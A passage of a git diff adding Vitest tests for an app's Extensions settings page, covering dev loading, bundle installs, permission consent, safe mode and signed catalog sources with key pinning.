vi.stubGlobal('IS_DEV', true)+})++afterEach(() => {+ vi.unstubAllGlobals()+})++describe('Load unpacked', () => {+ it('is hidden when IS_DEV is false', () => {+ vi.stubGlobal('IS_DEV', false)+ render(<Page />)+ expect(screen.queryByRole('button', { name: 'Load unpacked' })).toBeNull()+ })++ it('shows an i18n error for an invalid manifest and spawns nothing', async () => {+ writePackage({ id: 'Not Valid' })+ picker.open.mockResolvedValue(DIR)+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))++ const alert = await screen.findByRole('alert')+ expect(alert).toHaveTextContent('The manifest is invalid:')+ expect(alert).toHaveTextContent('jan.id')+ expect(screen.queryByRole('dialog')).toBeNull()+ expect(host.spawnWorkerExtension).not.toHaveBeenCalled()+ })++ it('rejects a main path escaping the folder', async () => {+ writePackage({ main: '../elsewhere/index.js' })+ picker.open.mockResolvedValue(DIR)+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))+ expect(await screen.findByRole('alert')).toHaveTextContent('jan.main')+ })++ it('does nothing when the picker is cancelled', async () => {+ picker.open.mockResolvedValue(null)+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))+ expect(picker.open).toHaveBeenCalledWith({ directory: true })+ expect(screen.queryByRole('dialog')).toBeNull()+ expect(screen.queryByRole('alert')).toBeNull()+ })++ it('confirms the requested permissions, then spawns a dev worker', async () => {+ writePackage({})+ files.map.set(`${DIR}/dist/index.js`, 'var JanExtension = {}')+ picker.open.mockResolvedValue(DIR)+ host.spawnWorkerExtension.mockImplementation(async (options) => {+ const hosted: HostedExtension = {+ id: options.manifest.id,+ manifest: options.manifest,+ source: 'dev',+ state: 'active',+ }+ host.set([hosted])+ return hosted+ })+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))++ const dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Load Hello Provider from a folder?')+ expect(dialog).toHaveTextContent('Show notifications')+ expect(dialog).toHaveTextContent('Low risk')+ expect(dialog).toHaveTextContent('Connect to *')+ expect(dialog).toHaveTextContent('High risk')+ // network:* also covers local servers; the consent says so.+ expect(dialog).toHaveTextContent(+ "Includes servers on this computer on any port: localhost and 127.0.0.1 over http or https, other local addresses such as ::1 over https only. Jan's own local API server is always blocked."+ )+ expect(host.spawnWorkerExtension).not.toHaveBeenCalled()++ await userEvent.click(screen.getByRole('button', { name: 'Load' }))+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull())+ expect(host.spawnWorkerExtension).toHaveBeenCalledWith(+ expect.objectContaining({+ bundle: 'var JanExtension = {}',+ grants: ['ui:notify', 'network:*'],+ source: 'dev',+ manifest: expect.objectContaining({ id: 'acme.hello' }),+ })+ )+ expect(await screen.findByText('Hello Provider')).toBeInTheDocument()+ expect(screen.getByText('Development')).toBeInTheDocument()+ })++ it('shows an i18n error for a bundle with more than var JanExtension', async () => {+ writePackage({})+ files.map.set(`${DIR}/dist/index.js`, 'function Set() {}\nvar JanExtension = {}')+ picker.open.mockResolvedValue(DIR)+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))+ expect(+ await screen.findByText(/dist\/index\.js is not a valid extension bundle/)+ ).toBeInTheDocument()+ expect(screen.queryByRole('dialog')).toBeNull()+ expect(host.spawnWorkerExtension).not.toHaveBeenCalled()+ })++ it('spawns nothing when the confirm dialog is cancelled', async () => {+ writePackage({})+ files.map.set(`${DIR}/dist/index.js`, 'var JanExtension = {}')+ picker.open.mockResolvedValue(DIR)+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Load unpacked' }))+ await screen.findByRole('dialog')+ await userEvent.click(screen.getByRole('button', { name: 'Cancel' }))+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull())+ expect(host.spawnWorkerExtension).not.toHaveBeenCalled()+ })+})++describe('worker extensions on the page', () => {+ const setting = {+ key: 'apiKey',+ title: 'API key',+ control: { type: 'input' as const, default: '' },+ }++ it('unload removes a dev extension from the page', async () => {+ host.set([+ {+ id: 'acme.dev',+ manifest: manifest('acme.dev', { displayName: 'Dev One' }),+ source: 'dev',+ state: 'active',+ },+ ])+ render(<Page />)+ await userEvent.click(screen.getByRole('button', { name: 'Unload' }))+ expect(host.unload).toHaveBeenCalledWith('acme.dev')+ await waitFor(() => expect(screen.queryByText('Dev One')).toBeNull())+ })++ it('shows contributed settings of an active worker extension like a built-in', () => {+ host.set([+ {+ id: 'acme.dev',+ manifest: manifest('acme.dev', { contributes: { settings: [setting] } }),+ source: 'dev',+ state: 'active',+ },+ {+ id: 'jan.builtin',+ manifest: manifest('jan.builtin', {+ contributes: { settings: [setting] },+ }),+ source: 'builtin',+ state: 'active',+ },+ ])+ render(<Page />)+ expect(screen.getByTestId('settings-form-acme.dev')).toBeInTheDocument()+ expect(screen.getByTestId('settings-form-jan.builtin')).toBeInTheDocument()+ // Only the dev extension is labelled and unloadable.+ expect(screen.getAllByText('Development')).toHaveLength(1)+ expect(screen.getAllByRole('button', { name: 'Unload' })).toHaveLength(1)+ })+})diff --git a/web-app/src/routes/settings/__tests__/extensions.install.test.tsx b/web-app/src/routes/settings/__tests__/extensions.install.test.tsxnew file mode 100644index 000000000..0b9743f48--- /dev/null+++ b/web-app/src/routes/settings/__tests__/extensions.install.test.tsx@@ -0,0 +1,678 @@+// Settings > Extensions: install from file and from an index, the update+// permission diff, enable, safe mode and sources, against a mocked+// ExtensionsService. Strings are the real English ones.+import { beforeEach, describe, expect, it, vi } from 'vitest'+import { render, screen, waitFor, within } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ComponentType, ReactNode } from 'react'+import type { HostedExtension } from '@/lib/extensions/host'+import { manifest } from '@/lib/extensions/__tests__/fixtures'+import {+ createMockExtensionsService,+ installed,+ staged,+} from '@/services/extensions/__tests__/mock'++const h = vi.hoisted(() => ({+ hosted: [] as HostedExtension[],+ open: vi.fn(),+ reload: vi.fn(async (_id: string) => undefined),+ unload: vi.fn(async (_id: string) => undefined),+ loadInstalled: vi.fn(async () => undefined),+ service: undefined as unknown,+ toastError: vi.fn(),+}))++vi.mock('sonner', () => ({+ toast: { error: h.toastError, success: vi.fn() },+}))++vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({+ list: () => h.hosted,+ onDidChange: () => ({ dispose: () => undefined }),+ unload: h.unload,+ reload: h.reload,+ loadInstalled: h.loadInstalled,+ }),+}))+vi.mock('@/lib/extensions/installed-reload', () => ({+ reloadInstalled: h.reload,+}))+vi.mock('@/hooks/useServiceHub', () => ({+ useServiceHub: () => ({+ dialog: () => ({ open: h.open }),+ extensions: () => h.service,+ }),+}))+vi.mock('@/containers/SettingsMenu', () => ({ default: () => null }))+vi.mock('@/containers/extensions/ExtensionSettingsForm', () => ({+ ExtensionSettingsForm: ({ extensionId }: { extensionId: string }) => (+ <div data-testid={`settings-form-${extensionId}`} />+ ),+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('@tanstack/react-router', () => ({+ createFileRoute: () => (config: { component: ComponentType }) => config,+ Link: ({ children, params }: { children: ReactNode; params?: object }) => (+ <a href={JSON.stringify(params)}>{children}</a>+ ),+}))++import { Route } from '../extensions/index'++const Page = Route.component as ComponentType+let mock: ReturnType<typeof createMockExtensionsService>++beforeEach(() => {+ h.hosted = []+ h.open.mockReset()+ h.reload.mockClear()+ h.loadInstalled.mockClear()+ h.toastError.mockClear()+ mock = createMockExtensionsService()+ h.service = mock.service+})++describe('sections', () => {+ it('groups built-in, installed and development extensions', async () => {+ h.hosted = [+ {+ id: 'jan.core',+ manifest: manifest('jan.core', { displayName: 'Core Thing' }),+ source: 'builtin',+ state: 'active',+ },+ {+ id: 'acme.dev',+ manifest: manifest('acme.dev', { displayName: 'Dev Thing' }),+ source: 'dev',+ state: 'active',+ },+ ]+ mock.state.extensions = [installed('acme.hello')]+ render(<Page />)+ const builtin = screen.getByRole('region', { name: 'Built-in' })+ expect(builtin).toHaveTextContent('Core Thing')+ // Built-ins can be neither disabled nor uninstalled.+ expect(within(builtin).queryByRole('switch')).toBeNull()+ const mine = await screen.findByRole('region', { name: 'Installed' })+ expect(await within(mine).findByText('Ext acme.hello')).toBeInTheDocument()+ expect(within(mine).getByText('Unverified')).toBeInTheDocument()+ expect(screen.getByRole('region', { name: 'Loaded for development' })).toHaveTextContent(+ 'Dev Thing'+ )+ })++ it('enables and disables an installed extension, then reloads it', async () => {+ mock.state.extensions = [installed('acme.hello')]+ render(<Page />)+ const toggle = await screen.findByRole('switch', {+ name: 'Enable Ext acme.hello',+ })+ expect(toggle).toBeChecked()+ await userEvent.click(toggle)+ expect(mock.service.setEnabled).toHaveBeenCalledWith('acme.hello', false)+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ await waitFor(() => expect(toggle).not.toBeChecked())+ })+})++describe('failed installed extensions', () => {+ it('lists one whose manifest the host refused, with the reason', async () => {+ h.hosted = [+ {+ id: 'acme.broken',+ manifest: manifest('acme.broken', { displayName: 'acme.broken' }),+ source: 'installed',+ state: 'failed',+ error: 'jan.apiVersion: must be a caret range',+ },+ ]+ render(<Page />)+ const mine = await screen.findByRole('region', { name: 'Installed' })+ expect(+ await within(mine).findByText(+ 'Failed to start: jan.apiVersion: must be a caret range'+ )+ ).toBeInTheDocument()+ expect(within(mine).queryByText('No extensions installed yet.')).toBeNull()+ })+})++describe('install from file', () => {+ it('opens a .tgz picker, gates on trust, and confirms exactly the requested grants', async () => {+ h.open.mockResolvedValue('/downloads/hello.tgz')+ mock.state.stage = staged('acme.hello', ['ui:notify', 'network:api.acme.dev'])+ render(<Page />)+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ expect(h.open).toHaveBeenCalledWith({+ filters: [{ name: 'Extension bundle', extensions: ['tgz'] }],+ })+ expect(mock.service.stageBundle).toHaveBeenCalledWith('/downloads/hello.tgz')++ const dialog = await screen.findByRole('dialog')+ const install = within(dialog).getByRole('button', { name: 'Install' })+ expect(install).toBeDisabled()+ await userEvent.click(within(dialog).getByRole('checkbox'))+ await userEvent.click(install)++ expect(mock.service.confirmInstall).toHaveBeenCalledWith(+ 'stage-acme.hello',+ ['ui:notify', 'network:api.acme.dev']+ )+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ expect(await screen.findByText('Ext acme.hello')).toBeInTheDocument()+ expect(screen.queryByRole('dialog')).toBeNull()+ })++ it('reloads and re-reads the list when the install fails after Rust took it', async () => {+ h.open.mockResolvedValue('/downloads/hello.tgz')+ mock.state.stage = staged('acme.hello', ['ui:notify'])+ mock.service.confirmInstall.mockRejectedValueOnce(+ new Error("Installed extension 'acme.hello' has an invalid manifest")+ )+ render(<Page />)+ await waitFor(() => expect(mock.service.list).toHaveBeenCalledTimes(1))+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ const dialog = await screen.findByRole('dialog')+ await userEvent.click(within(dialog).getByRole('checkbox'))+ await userEvent.click(within(dialog).getByRole('button', { name: 'Install' }))+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ await waitFor(() => expect(mock.service.list).toHaveBeenCalledTimes(2))+ expect(screen.queryByRole('dialog')).toBeNull()+ })++ it('discards the stage when consent is cancelled', async () => {+ h.open.mockResolvedValue('/downloads/hello.tgz')+ mock.state.stage = staged('acme.hello', ['ui:notify'])+ render(<Page />)+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ await screen.findByRole('dialog')+ await userEvent.click(screen.getByRole('button', { name: 'Cancel' }))+ expect(mock.service.discardStage).toHaveBeenCalledWith('stage-acme.hello')+ expect(mock.service.confirmInstall).not.toHaveBeenCalled()+ })++ it('does nothing when the picker is cancelled', async () => {+ h.open.mockResolvedValue(null)+ render(<Page />)+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ expect(mock.service.stageBundle).not.toHaveBeenCalled()+ })++ it('shows the update diff for an installed id, and cancel discards the stage', async () => {+ mock.state.extensions = [+ installed('acme.hello', { granted: ['ui:notify'] }),+ ]+ mock.state.stage = staged('acme.hello', ['ui:notify', 'tools'], {+ existing: { version: '1.0.0', granted: ['ui:notify'] },+ permissionDiff: { added: ['tools'], removed: [] },+ })+ h.open.mockResolvedValue('/downloads/hello-2.tgz')+ render(<Page />)+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ const dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Update Ext acme.hello')+ const added = within(dialog).getByRole('list', { name: 'New permissions' })+ expect(added).toHaveTextContent('Add tools for models')+ expect(dialog).not.toHaveTextContent('Show notifications')+ await userEvent.click(within(dialog).getByRole('button', { name: 'Cancel' }))+ expect(mock.service.discardStage).toHaveBeenCalledWith('stage-acme.hello')+ })++ it('shows a translated error toast when staging fails', async () => {+ h.open.mockResolvedValue('/downloads/bad.tgz')+ render(<Page />)+ await userEvent.click(+ screen.getByRole('button', { name: 'Install from file...' })+ )+ await waitFor(() =>+ expect(h.toastError).toHaveBeenCalledWith(+ 'Could not open the extension: nothing to stage'+ )+ )+ expect(screen.queryByRole('dialog')).toBeNull()+ })+})++describe('safe mode', () => {+ it('shows a banner that turns safe mode off', async () => {+ mock.state.safeMode = true+ render(<Page />)+ const banner = await screen.findByRole('status')+ expect(banner).toHaveTextContent(+ 'Safe mode is on. Installed extensions are not loaded.'+ )+ await userEvent.click(+ within(banner).getByRole('button', { name: 'Turn off safe mode' })+ )+ expect(mock.service.setSafeMode).toHaveBeenCalledWith(false)+ await waitFor(() => expect(screen.queryByRole('status')).toBeNull())+ // Loaded now, not at the next start.+ expect(h.loadInstalled).toHaveBeenCalled()+ })++ it('turns safe mode on from its switch', async () => {+ render(<Page />)+ await userEvent.click(+ await screen.findByRole('switch', { name: 'Safe mode' })+ )+ expect(mock.service.setSafeMode).toHaveBeenCalledWith(true)+ expect(await screen.findByRole('status')).toBeInTheDocument()+ })++ it('stops the running installed extensions when it turns on', async () => {+ mock.state.extensions = [installed('acme.hello')]+ render(<Page />)+ await userEvent.click(+ await screen.findByRole('switch', { name: 'Safe mode' })+ )+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ })+})++describe('catalog', () => {+ const index = {+ schema: 1 as const,+ generatedAt: '2026-10-23T00:00:00Z',+ extensions: [+ {+ id: 'acme.hello',+ displayName: 'Hello',+ publisher: 'Acme',+ description: 'Says hello',+ versions: [+ {+ version: '0.1.0',+ tarball: 'https://a.b/0.1.0.tgz',+ integrity: 'sha512-a',+ apiVersion: '^1.0.0',+ permissions: [],+ },+ {+ version: '0.2.0',+ tarball: 'https://a.b/0.2.0.tgz',+ integrity: 'sha512-b',+ apiVersion: '^1.0.0',+ permissions: [],+ provenance: 'https://search.sigstore.dev/?hash=b',+ },+ ],+ },+ ],+ }+ const KEY = 'A'.repeat(42) + 'E='+ const NEXT = 'B'.repeat(42) + 'E='+ const catalog = { index, signed: true, nextPublicKey: null }+ const source = {+ id: 'src-1',+ name: 'Acme Index',+ url: 'https://acme.dev/index.json',+ publicKey: KEY,+ addedAt: '2026-10-23T10:00:00Z',+ }+ const indexStage = (signed: boolean) =>+ staged('acme.hello', ['ui:notify'], {+ verified: signed,+ integrityChecked: true,+ source: {+ kind: 'index',+ sourceId: 'src-1',+ sourceName: 'Acme Index',+ url: source.url,+ tarball: 'https://a.b/0.2.0.tgz',+ integrity: 'sha512-b',+ },+ })++ it('adds an https source and refuses an http one', async () => {+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const url = await screen.findByLabelText('Index URL')+ await userEvent.type(url, 'http://acme.dev/index.json')+ await userEvent.type(screen.getByLabelText('Name'), 'Acme')+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(screen.getByText('Only https URLs are allowed.')).toBeInTheDocument()+ expect(mock.service.addSource).not.toHaveBeenCalled()++ await userEvent.clear(url)+ await userEvent.type(url, 'https://acme.dev/index.json')+ const key = 'A'.repeat(43) + '='+ await userEvent.type(screen.getByLabelText('Public key (optional)'), key)+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(mock.service.addSource).toHaveBeenCalledWith(+ 'https://acme.dev/index.json',+ 'Acme',+ key+ )+ expect(await screen.findByText('Signing key pinned')).toBeInTheDocument()+ })++ it('removes an unsigned source without asking', async () => {+ const open = { ...source, publicKey: undefined }+ mock.state.sources = [open]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ await userEvent.click(+ await screen.findByRole('button', { name: 'Remove Acme Index' })+ )+ expect(mock.service.removeSource).toHaveBeenCalledWith('src-1')+ await waitFor(() => expect(screen.queryByText('Acme Index')).toBeNull())+ })++ it('asks before removing a keyed source', async () => {+ mock.state.sources = [source]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const remove = await screen.findByRole('button', {+ name: 'Remove Acme Index',+ })+ await userEvent.click(remove)+ let dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Remove Acme Index and its signing key?')+ await userEvent.click(within(dialog).getByRole('button', { name: 'Cancel' }))+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull())+ expect(mock.service.removeSource).not.toHaveBeenCalled()++ await userEvent.click(remove)+ dialog = await screen.findByRole('dialog')+ await userEvent.click(+ within(dialog).getByRole('button', { name: 'Remove source' })+ )+ expect(mock.service.removeSource).toHaveBeenCalledWith('src-1')+ await waitFor(() => expect(screen.queryByText('Acme Index')).toBeNull())+ })++ it('warns when a URL that had a pinned key is added again without one', async () => {+ mock.state.removedPins = [+ { url: source.url, publicKey: KEY, removedAt: '2026-10-24T10:00:00Z' },+ ]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const warning =+ 'This index had a pinned signing key when you removed it. Without a key its listings are unsigned. Add it again with its key, or press Add source again to continue without one.'+ await userEvent.type(await screen.findByLabelText('Index URL'), source.url)+ await userEvent.type(screen.getByLabelText('Name'), 'Acme')+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(await screen.findByRole('alert')).toHaveTextContent(warning)+ expect(screen.getByRole('alert')).toHaveTextContent(KEY)+ expect(mock.service.addSource).not.toHaveBeenCalled()++ // Editing the URL withdraws the warning; a second press after it adds.+ await userEvent.type(screen.getByLabelText('Index URL'), '?')+ expect(screen.queryByRole('alert')).toBeNull()+ await userEvent.type(screen.getByLabelText('Index URL'), '{Backspace}')+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(await screen.findByRole('alert')).toBeInTheDocument()+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(mock.service.addSource).toHaveBeenCalledWith(source.url, 'Acme', undefined)+ })++ it('adds a previously pinned URL with a key without a warning', async () => {+ mock.state.removedPins = [+ { url: source.url, publicKey: KEY, removedAt: '2026-10-24T10:00:00Z' },+ ]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ await userEvent.type(await screen.findByLabelText('Index URL'), source.url)+ await userEvent.type(screen.getByLabelText('Name'), 'Acme')+ await userEvent.type(screen.getByLabelText('Public key (optional)'), KEY)+ await userEvent.click(screen.getByRole('button', { name: 'Add source' }))+ expect(mock.service.addSource).toHaveBeenCalledWith(source.url, 'Acme', KEY)+ expect(screen.queryByText(/had a pinned signing key/)).toBeNull()+ })++ it('says which sources were dropped from a damaged sources file', async () => {+ mock.state.sources = [{ ...source, publicKey: undefined }]+ mock.state.catalogs = { 'src-1': { index, signed: false, nextPublicKey: null } }+ mock.state.sourcesNotice = {+ movedTo: '/data/extensions/sources.json.corrupt-1',+ dropped: [+ { name: 'Weak Index', url: 'https://weak.dev/i.json', reason: 'bad key' },+ ],+ }+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const notice = await screen.findByRole('status')+ expect(notice).toHaveTextContent(+ 'Some saved sources failed a check and were removed: Weak Index (https://weak.dev/i.json). The previous file was kept at /data/extensions/sources.json.corrupt-1.'+ )+ expect(await screen.findByText('Acme Index')).toBeInTheDocument()+ })++ it('installs the latest version of a catalog entry, labelled with its source', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ mock.state.stage = indexStage(true)+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ expect(await screen.findByText('Says hello')).toBeInTheDocument()+ await userEvent.click(screen.getByRole('button', { name: 'Install' }))+ expect(mock.service.stageFromIndex).toHaveBeenCalledWith(+ 'src-1',+ 'acme.hello',+ '0.2.0'+ )+ const dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Verified by Acme Index')+ expect(dialog).toHaveTextContent('Integrity checked')+ expect(within(dialog).queryByRole('checkbox')).toBeNull()+ await userEvent.click(within(dialog).getByRole('button', { name: 'Install' }))+ expect(mock.service.confirmInstall).toHaveBeenCalledWith(+ 'stage-acme.hello',+ ['ui:notify']+ )+ await userEvent.click(screen.getByRole('tab', { name: 'Installed' }))+ const mine = await screen.findByRole('region', { name: 'Installed' })+ expect(await within(mine).findByText('Verified by Acme Index')).toBeInTheDocument()+ })++ it('labels an unkeyed source unsigned and requires consent to install from it', async () => {+ const open = { ...source, id: 'src-2', name: 'Open Index' }+ delete (open as { publicKey?: string }).publicKey+ mock.state.sources = [open]+ mock.state.catalogs = { 'src-2': { index, signed: false, nextPublicKey: null } }+ mock.state.stage = indexStage(false)+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ expect(await screen.findByText('Unsigned source')).toBeInTheDocument()+ expect(screen.queryByText('Signing key pinned')).toBeNull()+ await userEvent.click(await screen.findByRole('button', { name: 'Install' }))++ const dialog = await screen.findByRole('dialog')+ expect(within(dialog).getByText('Unsigned source')).toBeInTheDocument()+ expect(dialog).toHaveTextContent('From Acme Index')+ expect(dialog).not.toHaveTextContent('Verified by')+ const install = within(dialog).getByRole('button', { name: 'Install' })+ expect(install).toBeDisabled()+ await userEvent.click(+ within(dialog).getByRole('checkbox', {+ name: 'I trust the author and this index',+ })+ )+ expect(install).toBeEnabled()+ await userEvent.click(install)+ expect(mock.service.confirmInstall).toHaveBeenCalledWith(+ 'stage-acme.hello',+ ['ui:notify']+ )+ await userEvent.click(screen.getByRole('tab', { name: 'Installed' }))+ const mine = await screen.findByRole('region', { name: 'Installed' })+ const badge = await within(mine).findByText(+ 'Integrity checked (unsigned source)'+ )+ // A warning, not the neutral style of "Verified by": the SRI came from+ // the same unsigned index, so it proves nothing about the author.+ expect(badge.className).toMatch(/amber/)+ expect(within(mine).queryByText(/Verified by/)).toBeNull()+ })++ it('re-pins a key offered as nextPublicKey only after explicit confirmation', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = {+ 'src-1': { index, signed: true, nextPublicKey: NEXT },+ }+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ expect(+ await screen.findByText('This index announces a new signing key.')+ ).toBeInTheDocument()+ expect(mock.service.acceptNextKey).not.toHaveBeenCalled()++ // Opening and cancelling the prompt changes nothing.+ await userEvent.click(screen.getByRole('button', { name: 'Review new key' }))+ let dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Change the signing key of Acme Index?')+ expect(dialog).toHaveTextContent(KEY)+ expect(dialog).toHaveTextContent(NEXT)+ await userEvent.click(within(dialog).getByRole('button', { name: 'Cancel' }))+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull())+ expect(mock.service.acceptNextKey).not.toHaveBeenCalled()++ await userEvent.click(screen.getByRole('button', { name: 'Review new key' }))+ dialog = await screen.findByRole('dialog')+ await userEvent.click(+ within(dialog).getByRole('button', { name: 'Pin the new key' })+ )+ expect(mock.service.acceptNextKey).toHaveBeenCalledWith('src-1', NEXT)+ await waitFor(() =>+ expect(+ screen.queryByText('This index announces a new signing key.')+ ).toBeNull()+ )+ expect(mock.state.sources[0].publicKey).toBe(NEXT)+ })++ it('shows reported provenance as a link only', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const link = await screen.findByRole('link', {+ name: 'Provenance reported by source',+ })+ expect(link).toHaveAttribute('href', 'https://search.sigstore.dev/?hash=b')+ expect(link).toHaveAttribute('rel', 'noopener noreferrer')+ })++ it('shows a signature failure of a keyed source as an error', async () => {+ mock.state.sources = [source]+ mock.service.getCatalog.mockRejectedValueOnce(+ new Error("the index signature does not match the source's pinned key")+ )+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ expect(await screen.findByRole('alert')).toHaveTextContent(+ "Could not load Acme Index: the index signature does not match the source's pinned key"+ )+ expect(screen.queryByRole('button', { name: 'Install' })).toBeNull()+ })++ it('offers an update only when the index has a newer version', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ mock.state.extensions = [installed('acme.hello', { version: '0.2.0' })]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ const current = await screen.findByRole('button', { name: 'Installed' })+ expect(current).toBeDisabled()+ })++ it('shows why staging a catalog install failed', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ mock.service.stageFromIndex.mockRejectedValueOnce(+ new Error('the tarball does not match the integrity the index pinned')+ )+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ await userEvent.click(await screen.findByRole('button', { name: 'Install' }))+ await waitFor(() =>+ expect(h.toastError).toHaveBeenCalledWith(+ 'Could not open the extension: the tarball does not match the integrity the index pinned'+ )+ )+ expect(screen.queryByRole('dialog')).toBeNull()+ })++ it('shows why staging a catalog update failed', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ mock.state.extensions = [installed('acme.hello', { version: '0.1.0' })]+ mock.service.stageFromIndex.mockRejectedValueOnce(+ new Error("requests permissions the index did not list: tools")+ )+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ await userEvent.click(+ await screen.findByRole('button', { name: 'Update to 0.2.0' })+ )+ await waitFor(() =>+ expect(h.toastError).toHaveBeenCalledWith(+ 'Could not open the extension: requests permissions the index did not list: tools'+ )+ )+ })++ it('warns when an update comes from another source than the installed version', async () => {+ mock.state.sources = [source]+ mock.state.catalogs = { 'src-1': catalog }+ mock.state.extensions = [+ installed('acme.hello', {+ version: '0.1.0',+ granted: ['ui:notify'],+ source: { kind: 'bundle', fileName: 'hello.tgz', sha512: 'sha512-a' },+ }),+ ]+ mock.state.stage = {+ ...indexStage(true),+ existing: { version: '0.1.0', granted: ['ui:notify'] },+ permissionDiff: { added: [], removed: [] },+ }+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ await userEvent.click(+ await screen.findByRole('button', { name: 'Update to 0.2.0' })+ )+ const dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Verified by Acme Index')+ expect(dialog).toHaveTextContent(+ 'This update comes from Acme Index, but Ext acme.hello was installed from the file hello.tgz.'+ )+ })++ it('shows an unreachable index as an error', async () => {+ mock.state.sources = [source]+ render(<Page />)+ await userEvent.click(screen.getByRole('tab', { name: 'Catalog' }))+ expect(await screen.findByRole('alert')).toHaveTextContent(+ 'Could not load Acme Index: unreachable: src-1'+ )+ })+})++describe('without an install pipeline', () => {+ it('hides install, safe mode and the catalog', async () => {+ mock.service.isSupported.mockReturnValue(false)+ render(<Page />)+ expect(+ screen.queryByRole('button', { name: 'Install from file...' })+ ).toBeNull()+ expect(screen.queryByRole('tab', { name: 'Catalog' })).toBeNull()+ expect(screen.queryByRole('switch', { name: 'Safe mode' })).toBeNull()+ })+})diff --git a/web-app/src/routes/settings/__tests__/extensions.test.tsx b/web-app/src/routes/settings/__tests__/extensions.test.tsxindex 02e73dcf1..ba9efcd77 100644--- a/web-app/src/routes/settings/__tests__/extensions.test.tsx+++ b/web-app/src/routes/settings/__tests__/extensions.test.tsx@@ -1,6 +1,6 @@import { describe, it, expect, beforeEach, vi } from 'vitest'import { render, screen } from '@testing-library/react'-import { Route as ExtensionsRoute } from '../extensions'+import { Route as ExtensionsRoute } from '../extensions/index'// Mock dependenciesvi.mock('@/containers/SettingsMenu', () => ({@@ -35,30 +35,20 @@ vi.mock('@/containers/RenderMarkdown', () => ({),}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- listExtensions: vi.fn().mockReturnValue([- {- name: 'test-extension-1',- productName: 'Test Extension 1',- description: 'Test extension description 1',- version: '1.0.0',- },- {- name: 'test-extension-2',- productName: 'Test Extension 2',- description: 'Test extension description 2',- version: '2.0.0',- },- {- name: 'test-extension-3',- description: 'Test extension description 3',- version: '3.0.0',- },- ]),- }),- },+const hosted = vi.hoisted(() => ({+ list: [] as Array<Record<string, unknown>>,+}))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({+ list: () => hosted.list,+ onDidChange: () => ({ dispose: () => undefined }),+ }),+}))++vi.mock('@/containers/extensions/ExtensionSettingsForm', () => ({+ ExtensionSettingsForm: ({ extensionId }: { extensionId: string }) => (+ <div data-testid={`settings-form-${extensionId}`} />+ ),}))vi.mock('@/i18n/react-i18next-compat', () => ({@@ -80,143 +70,63 @@ vi.mock('@tanstack/react-router', () => ({...config,component: config.component,}),+ Link: ({ children }: { children: React.ReactNode }) => <a>{children}</a>,}))describe('Extensions Settings Route', () => 